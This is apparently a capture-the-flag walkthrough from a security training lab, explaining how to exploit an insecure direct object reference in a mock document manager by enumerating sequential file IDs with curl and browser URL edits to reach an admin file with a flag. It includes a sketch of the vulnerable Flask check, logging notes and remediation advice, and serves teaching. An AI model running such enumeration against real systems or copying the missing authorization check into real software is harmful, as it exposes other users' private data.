Lab Icon

IDOR Explorer

🔐 Can you access files that aren't meant for you?

This secure document management system thinks it can protect sensitive files with simple reference numbers. 📁 But experienced security researchers know that direct object references can be manipulated to access unauthorized resources! 🕵️ Master the art of parameter manipulation and discover how seemingly secure applications can leak sensitive information through predictable patterns. 🎯

1
Flags
5
Points
100%
Success Rate
Start Your Challenge
~1-2 min setup
Dedicated server
Private instance
Industry standard
This solution is for Flags Mode

This walkthrough explains how to hack the lab and capture the flags. For help with Learning Mode questions, use the Request Hint button next to each question.

Challenge

🔍 IDOR Explorer - Complete Solution

Objective: Exploit the Insecure Direct Object Reference (IDOR) vulnerability in the SecureFiles document management system to access unauthorized files and retrieve the flag through server-side parameter manipulation.
🔍 Step 1: Initial Application Analysis

Navigate to http://<target-ip> to access the SecureFiles document management system. The main interface displays:

  • Welcome Message: "Welcome to SecureFiles - Your Personal Document Manager"
  • User Context: Currently logged in as "user123" with access to personal documents
  • File Listing: Three accessible documents with sequential IDs (1001, 1002, 1003)
  • Document Links: Each file has a "View" link with URL pattern: /view?file=XXXX
  • File Information: Document names, owners, and last modified dates are displayed

The application uses predictable numeric identifiers in the URL parameters, which is a classic indicator of potential IDOR vulnerabilities.

🔍 Step 2: Understanding the Server-Side Vulnerability

This is a real IDOR vulnerability with server-side authorization bypass. The Flask application checks if files exist but fails to verify if the current user has permission to access them:

# Vulnerable code pattern:
# if file_id not in FILES_DB:
# return error
# return FILES_DB[file_id] # Missing authorization check!

Key observations:

  • Sequential IDs: Files use consecutive numeric identifiers (1001, 1002, 1003)
  • Missing Authorization: Server only checks file existence, not user permissions
  • Direct Object Reference: Internal database IDs exposed in URLs
  • Predictable Pattern: Administrative files likely use lower ID numbers
🔍 Step 3: Testing Authorized Access

First, verify normal functionality by accessing the authorized files:

# Test authorized file access
curl "http://<target-ip>/view?file=1001"
curl "http://<target-ip>/view?file=1002"
curl "http://<target-ip>/view?file=1003"

Each authorized file returns:

  • HTTP 200 status code
  • Document content (personal files, meeting notes, project documents)
  • Owner shown as "user123" (matching current user)
  • No unauthorized access warnings
🔍 Step 4: IDOR Enumeration Strategy

Based on the sequential pattern (1001-1003), test adjacent and logical ID ranges:

# Test files before the authorized range
curl "http://<target-ip>/view?file=1000"
curl "http://<target-ip>/view?file=999"

# Test files after the authorized range
curl "http://<target-ip>/view?file=1004"
curl "http://<target-ip>/view?file=1005"

# Test administrative or system files
curl "http://<target-ip>/view?file=1"
curl "http://<target-ip>/view?file=100"
curl "http://<target-ip>/view?file=500"
🔍 Step 5: Identifying the IDOR Vulnerability

Through systematic enumeration, discover that file ID 1 returns different content:

curl "http://<target-ip>/view?file=1"

This request reveals:

  • Unauthorized Access Warning: Red banner indicating IDOR vulnerability detected
  • Administrative Document: "System Configuration - CONFIDENTIAL"
  • Owner Mismatch: File belongs to "admin" user, not "user123"
  • Server-Side Bypass: Application serves the file despite authorization failure
🔍 Step 6: Flag Extraction from Server Response

The administrative configuration file (ID: 1) contains the flag in the server-generated response:

SYSTEM CONFIGURATION FILE
========================
Application: SecureFiles v2.1
Owner: admin
Classification: CONFIDENTIAL

Security Settings:
- Authentication: Enabled
- Authorization: Basic ID-based (VULNERABLE!)
- Encryption: AES-256
- Audit Logging: Disabled

System Flag: [FLAG_UUID_HERE]

User Permissions:
- user123: files 1001-1003
- admin: files 1-100
- guest: files 2001-2100

The flag is clearly displayed in the "System Flag" field as a UUID format, served directly by the Flask application.

🔍 Step 7: Browser-Based Exploitation

The IDOR vulnerability can also be exploited through browser manipulation:

  1. Access any authorized file through the web interface
  2. Observe the URL: http://<target-ip>/view?file=1001
  3. Manually change the file parameter to 1 in the address bar
  4. Press Enter to navigate to: http://<target-ip>/view?file=1
  5. The browser displays the administrative configuration file with unauthorized access warning
  6. The flag is visible in the system configuration section
🔍 Step 8: API Endpoint Exploitation

The application also exposes an API endpoint with the same IDOR vulnerability:

# Test API endpoint
curl "http://<target-ip>/api/files?id=1"

# Returns JSON with file content including flag
{
"id": 1,
"title": "System Configuration - CONFIDENTIAL",
"owner": "admin",
"modified": "2025-09-15 09:00:00",
"content": "...System Flag: [FLAG_UUID_HERE]..."
}
🔍 Step 9: Server-Side Logging Analysis

The Flask application logs unauthorized access attempts, which would be visible in server logs:

[SECURITY LOG] User 'user123' accessed file 1 owned by 'admin'

This demonstrates how IDOR vulnerabilities can be detected through proper logging and monitoring.

🔍 Real IDOR Vulnerability Analysis

This challenge demonstrates a genuine server-side IDOR vulnerability:

Vulnerability Details:
  • Server-Side Flaw: Missing authorization checks in Flask application
  • Direct Database Access: File IDs map directly to database records
  • Predictable References: Sequential numeric identifiers
  • Authorization Bypass: User permissions not enforced
Attack Vectors:
  • URL Parameter Manipulation: Direct file ID modification
  • API Endpoint Abuse: JSON API with same vulnerability
  • Automated Enumeration: Script-based ID testing
  • Burp Suite Integration: Professional tool automation
🛡️ Security Implications and Remediation
Security Risks:
  • Unauthorized data access
  • Administrative privilege escalation
  • Sensitive information disclosure
  • Compliance violations
Remediation Strategies:
  • Implement proper authorization middleware
  • Use UUIDs instead of sequential IDs
  • Add user permission validation
  • Implement access control lists (ACLs)
📚 Key Learning Points
  • Real IDOR Understanding: Server-side authorization bypass vs client-side display logic
  • Systematic Enumeration: Methodical testing of ID ranges and patterns
  • Authorization vs Authentication: Understanding the critical difference
  • Multi-Vector Testing: Web interface, API endpoints, and direct requests
  • Security Logging: Importance of monitoring and detecting unauthorized access
Real-World Context: This challenge represents a genuine IDOR vulnerability commonly found in production applications. Unlike client-side display issues, this server-side flaw actually bypasses authorization controls, making it a critical security vulnerability. Professional penetration testers regularly discover these issues in web applications, APIs, and mobile backends where developers fail to implement proper authorization checks on server-side resources.